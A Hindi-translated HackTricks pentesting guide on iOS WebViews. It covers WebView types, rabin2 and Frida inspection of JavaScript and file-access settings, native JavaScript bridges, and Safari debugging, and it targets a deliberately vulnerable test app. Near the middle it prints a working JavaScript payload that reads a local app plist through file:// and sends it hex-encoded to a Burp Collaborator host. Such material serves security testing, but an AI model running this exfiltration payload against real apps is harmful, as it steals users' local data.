hacktricks/mobile-pentesting/ios-pentesting/ios-webviews.md

289 lines
29 KiB
Markdown

# iOS वेबव्यू
<details>
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert) के साथ</strong></a><strong>!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details>
इस पृष्ठ का कोड [यहाँ से](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md) निकाला गया था। अधिक विवरण के लिए पृष्ठ की जाँच करें।
## वेबव्यू प्रकार
एप्लिकेशन में वेब सामग्री को इंटरैक्टिव रूप से प्रदर्शित करने के लिए वेबव्यू का उपयोग किया जाता है। iOS एप्लिकेशनों के लिए विभिन्न प्रकार के वेबव्यू विभिन्न कार्यक्षमताएं और सुरक्षा सुविधाएं प्रदान करते हैं। यहाँ एक संक्षिप्त अवलोकन है:
- **UIWebView**, जिसे iOS 12 के बाद अब अनुशंसित नहीं माना जाता है क्योंकि इसमें **JavaScript** को अक्षम करने का समर्थन नहीं है, जिससे यह स्क्रिप्ट इन्जेक्शन और **Cross-Site Scripting (XSS)** हमलों के लिए संवेदनशील हो जाता है।
- **WKWebView** एप्लिकेशन में वेब सामग्री को शामिल करने के लिए पसंदीदा विकल्प है, जो सामग्री और सुरक्षा सुविधाओं पर बेहतर नियंत्रण प्रदान करता है। **JavaScript** डिफ़ॉल्ट रूप से सक्षम है, लेकिन आवश्यकता होने पर इसे अक्षम किया जा सकता है। यह भी सुनिश्चित करने के लिए सुविधाएं समर्थन करता है कि JavaScript स्वचालित रूप से विंडोज़ खोलने से रोका जाए और सुनिश्चित करता है कि सभी सामग्री सुरक्षित रूप से लोड हो। इसके अतिरिक्त, **WKWebView** की वास्तुकला मुख्य ऐप प्रक्रिया पर प्रभाव डालने वाले मेमोरी करप्शन के जोखिम को कम करती है।
- **SFSafariViewController** एप्लिकेशन के भीतर एक मानकीकृत वेब ब्राउज़िंग अनुभव प्रदान करता है, जिसे इसके विशेष लेआउट के द्वारा पहचाना जाता है जिसमें एक केवल पठनीय पता क्षेत्र, साझा और नेविगेशन बटन, और सीधा लिंक शामिल है जिससे सफारी में सामग्री खोलने का सीधा लिंक होता है। **SFSafariViewController** में **JavaScript** को अक्षम नहीं किया जा सकता, जो भी सफारी के साथ कुकीज़ और डेटा साझा करता है, एप्लिकेशन से उपयोक्ता की गोपनीयता को बनाए रखता है। इसे ऐप स्टोर दिशानिर्देशों के अनुसार प्रमुखता से प्रदर्शित किया जाना चाहिए।
```javascript
// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
```
## वेबव्यू कॉन्फ़िगरेशन अन्वेषण सारांश
### **स्थैतिक विश्लेषण अवलोकन**
**WebViews** कॉन्फ़िगरेशन की जांच की प्रक्रिया में, दो प्रमुख प्रकार पर ध्यान केंद्रित हैं: **UIWebView** और **WKWebView**। इन वेबव्यू को एक बाइनरी में पहचानने के लिए, आवश्यकता के अनुसार कमांड प्रयोग किए जाते हैं, विशेष क्लास संदर्भ और प्रारंभीकरण विधियों की खोज के लिए।
- **UIWebView पहचान**
```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
```
यह कमांड बाइनरी में इससे संबंधित पाठ स्ट्रिंग की खोज करके **UIWebView** की घटनाओं को ढूंढने में मदद करता है।
- **WKWebView पहचान**
```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
```
इसी तरह, **WKWebView** के लिए, यह कमांड उसके उपयोग की संकेतक टेक्स्ट स्ट्रिंग के लिए बाइनरी में खोज करता है।
इसके अतिरिक्त, **WKWebView** कैसे आरंभित होता है, यह पता करने के लिए निम्नलिखित कमांड को निष्पादित किया जाता है, जो इसके आरंभिकरण से संबंधित मेथड सिग्नेचर को लक्षित करता है:
```bash
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
```
#### **जावास्क्रिप्ट कॉन्फ़िगरेशन सत्यापन**
**WKWebView** के लिए, यह उजागर किया गया है कि जब तक आवश्यक न हो, तब तक जावास्क्रिप्ट को अक्षम करना सर्वोत्तम प्रथा है। कंपाइल किया गया बाइनरी खोजा जाता है ताकि सुनिश्चित किया जा सके कि `javaScriptEnabled` प्रॉपर्टी को `false` पर सेट किया गया है, जिससे यह सुनिश्चित हो कि जावास्क्रिप्ट अक्षम है:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
```
#### **केवल सुरक्षित सामग्री सत्यापन**
**WKWebView** मिश्रित सामग्री समस्याओं की पहचान करने की क्षमता प्रदान करता है, **UIWebView** के विपरीत। इसे सुनिश्चित करने के लिए `hasOnlySecureContent` गुण का उपयोग किया जाता है कि सभी पृष्ठ संसाधन सुरक्षित कनेक्शन के माध्यम से लोड किए गए हैं। संकलित बाइनरी में खोज निम्नलिखित प्रकार से की जाती है:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
```
### **गतिशील विश्लेषण अंतर्दृष्टि**
गतिशील विश्लेषण में हीप की जांच शामिल है WebView उदाहरणों और उनकी गुणधर्मों के लिए। इस उद्देश्य के लिए `webviews_inspector.js` नामक एक स्क्रिप्ट का उपयोग किया जाता है, जो `UIWebView`, `WKWebView`, और `SFSafariViewController` उदाहरणों को लक्षित करता है। यह पाए गए उदाहरणों के बारे में जानकारी लॉग करता है, जिसमें URL और JavaScript और सुरक्षित सामग्री से संबंधित सेटिंग्स शामिल हैं।
हीप जांच को `ObjC.choose()` का उपयोग करके किया जा सकता है ताकि WebView उदाहरणों की पहचान की जा सके और `javaScriptEnabled` और `hasonlysecurecontent` गुणधर्मों की जांच की जा सके।
{% code title="webviews_inspector.js" %}
```javascript
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});
```
{% endcode %}
स्क्रिप्ट निम्नलिखित के साथ निष्पादित किया जाता है:
```bash
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
```
**मुख्य परिणाम**:
- वेबव्यू की घटनाएं सफलतापूर्वक पता लगाई और जांची गई।
- जावास्क्रिप्ट सक्षमता और सुरक्षित सामग्री सेटिंग सत्यापित की गई।
यह सारांश WebView कॉन्फ़िगरेशन का विश्लेषण करने के महत्वपूर्ण चरणों और आदेशों को संक्षेपित करता है, स्थिर और गतिशील दोनों दृष्टिकोणों से, जैसे जावास्क्रिप्ट सक्षमता और मिश्रित सामग्री की पहचान पर ध्यान केंद्रित करते हुए।
## WebView प्रोटोकॉल हैंडलिंग
WebView में सामग्री को हैंडल करना एक महत्वपूर्ण पहलू है, खासकर जब विभिन्न प्रोटोकॉल जैसे `http(s)://`, `file://`, और `tel://` का सामना करना हो। ये प्रोटोकॉल ऐप्स में दूरस्थ और स्थानीय सामग्री को लोड करने की संभावना प्रदान करते हैं। जब स्थानीय सामग्री लोड की जाती है, तो उपयोगकर्ताओं को फ़ाइल के नाम या पथ पर प्रभाव डालने से और सामग्री को संपादित करने से बचाने के लिए सावधानियां लेनी चाहिए।
**WebViews** सामग्री लोड करने के लिए विभिन्न विधियाँ प्रदान करते हैं। **UIWebView** के लिए, जो अब विचारशील है, विध
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
```
फ़ाइल एक्सेस के संबंध में, UIWebView इसे सार्वत्रिक रूप से अनुमति देता है, जबकि WKWebView फाइल URLs से एक्सेस को प्रबंधित करने के लिए `allowFileAccessFromFileURLs` और `allowUniversalAccessFromFileURLs` सेटिंग पेश करता है, जिनमें दोनों डिफ़ॉल्ट रूप से फॉल्स होते हैं।
एक फ्रिडा स्क्रिप्ट उदाहरण प्रदान किया गया है जो सुरक्षा सेटिंग्स के लिए **WKWebView** की जांच करने के लिए है:
```bash
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
```
अंत में, एक जावास्क्रिप्ट पेलोड का उदाहरण जो स्थानीय फ़ाइलों को बाहर ले जाने का उद्देश्य रखता है, गलत ढंग से कॉन्फ़िगर किए गए वेबव्यूज़ के साथ जुड़ी संभावित सुरक्षा जोखिम को दर्शाता है। इस पेलोड ने फ़ाइल सामग्री को हेक्स प्रारूप में एन्कोड किया पहले उन्हें सर्वर को भेजने से पहले, WebView के कठोर सुरक्षा उपायों के महत्व को उजागर किया।
```javascript
String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);
```
## वेबव्यूज़ के माध्यम से उजागरित नेटिव विधियाँ
## iOS में वेबव्यू नेटिव इंटरफेस को समझना
iOS 7 के बाद, Apple ने **वेबव्यू में जावास्क्रिप्ट और नेटिव** Swift या Objective-C ऑब्जेक्ट्स के बीच संचार के लिए एपीआई प्रदान की। यह एकीकरण मुख्य रूप से दो विधियों के माध्यम से सुविधित है:
- **JSContext**: जब एक Swift या Objective-C ब्लॉक को `JSContext` में एक पहचानकर्ता के साथ लिंक किया जाता है, तो एक जावास्क्रिप्ट फ़ंक्शन स्वचालित रूप से बनाया जाता है। इससे जावास्क्रिप्ट और नेटिव कोड के बीच संचार में अविरल एकीकरण संभव होता है।
- **JSExport Protocol**: `JSExport` प्रोटोकॉल को विरासत में लेकर, नेटिव गुण, उदाहरण विधियाँ, और कक्ष विधियाँ जावास्क्रिप्ट को उजागर की जा सकती हैं। इसका मतलब है कि जावास्क्रिप्ट वातावरण में किए गए किसी भी परिवर्तन को नेटिव वातावरण में प्रतिबिंबित किया जाता है, और उल्टा भी। हालांकि, इस विधि के माध्यम से अनजाने में संवेदनशील डेटा को उजागर न होने दिया जाना महत्वपूर्ण है।
### Objective-C में `JSContext` तक पहुंचना
Objective-C में, `UIWebView` के लिए `JSContext` को निम्नलिखित कोड लाइन के साथ प्राप्त किया जा सकता है:
```objc
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
```
### `WKWebView` के साथ संचार
`WKWebView` के लिए, `JSContext` तक पहुंच सीधे उपलब्ध नहीं है। इसके बजाय, `postMessage` फ़ंक्शन के माध्यम से संदेश पारित किया जाता है, जिससे JavaScript से native संचार संभव होता है। इन संदेशों के लिए हैंडलर निम्नलिखित रूप में सेट किए जाते हैं, जिससे JavaScript native एप्लिकेशन के साथ सुरक्षित रूप से बातचीत कर सकता है:
```swift
func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}
```
### इंटरेक्शन और परीक्षण
JavaScript नेटिव लेयर के साथ बातचीत कर सकता है एक स्क्रिप्ट संदेश हैंडलर को परिभाषित करके। इससे वेबपेज से नेटिव फ़ंक्शन को बुलाने जैसे कार्य करने की अनुमति मिलती है:
```javascript
function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}
// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
```
एक प्राकृतिक फ़ंक्शन कॉल के परिणाम को कैप्चर और मैनिपुलेट करने के लिए, व्यक्ति HTML के भीतर कॉलबैक फ़ंक्शन को ओवरराइड कर सकता है:
```html
<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>
```
नेटिव साइड जावास्क्रिप्ट कॉल को `JavaScriptBridgeMessageHandler` क्लास में हैंडल किया जाता है, जहाँ नंबर को गुणा करने जैसी ऑपरेशन का परिणाम प्रसंस्कृत किया जाता है और उसे जावास्क्रिप्ट के लिए प्रदर्शन या और भी परिवर्तन के लिए वापस भेजा जाता है:
```swift
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}
```
## iOS WebViews को डिबग करना
(ट्यूटोरियल [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews) पर आधारित)
iOS WebViews के भीतर वेब सामग्री को प्रभावी ढंग से डिबग करने के लिए, Safari के डेवलपर टूल्स का एक विशेष सेटअप आवश्यक है क्योंकि `console.log()` को भेजे गए संदेश Xcode लॉग में प्रदर्शित नहीं होते। यहां एक सरल गाइड है, मुख्य चरणों और आवश्यकताओं पर जोर देते हुए:
- **iOS डिवाइस पर तैयारी**: Safari Web Inspector को अपने iOS डिवाइस पर सक्रिय किया जाना चाहिए। इसे करने के लिए **Settings > Safari > Advanced** पर जाएं, और _Web Inspector_ को सक्षम करें।
- **macOS डिवाइस पर तैयारी**: अपने macOS डेवलपमेंट मशीन पर, आपको Safari के भीतर डेवलपर टूल्स को सक्षम करना होगा। Safari लॉन्च करें, **Safari > Preferences > Advanced** तक पहुंचें, और _Show Develop menu_ विकल्प को चुनें।
- **कनेक्शन और डिबगिंग**: अपने iOS डिवाइस को अपने macOS कंप्यूटर से कनेक्ट करने के बाद और अपने एप्लिकेशन को लॉन्च करने के बाद, अपने macOS डिवाइस पर Safari का उपयोग करके डिबग करना चाहिए। Safari के मेनू बार में _Develop_ पर जाएं, अपने iOS डिवाइस के नाम पर होवर करें ताकि आपको वेबव्यू इंस्टेंसेस की सूची दिखाई दे, और जिस इंस्टेंस को आप जांचना चाहते हैं, उसे चुनें। इस उद्देश्य के लिए एक नया Safari Web Inspector विंडो खुलेगा।
हालांकि, सीमाओं का ध्यान रखें:
- इस तरीके से डिबगिंग करने के लिए एक macOS डिवाइस की आवश्यकता है क्योंकि यह Safari पर निर्भर है।
- इस तरह के डिबगिंग के लिए केवल Xcode के माध्यम से आपके डिवाइस पर लोड की गई एप्लिकेशन में वेबव्यू को डिबग किया जा सकता है। एप्लिकेशन स्टोर या Apple Configurator के माध्यम से इंस्टॉल की गई एप्लिकेशनों में वेबव्यू को इस तरह से डिबग नहीं किया जा सकता।
## संदर्भ
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
* [https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो बनाने के लिए</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) पर **फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
</details>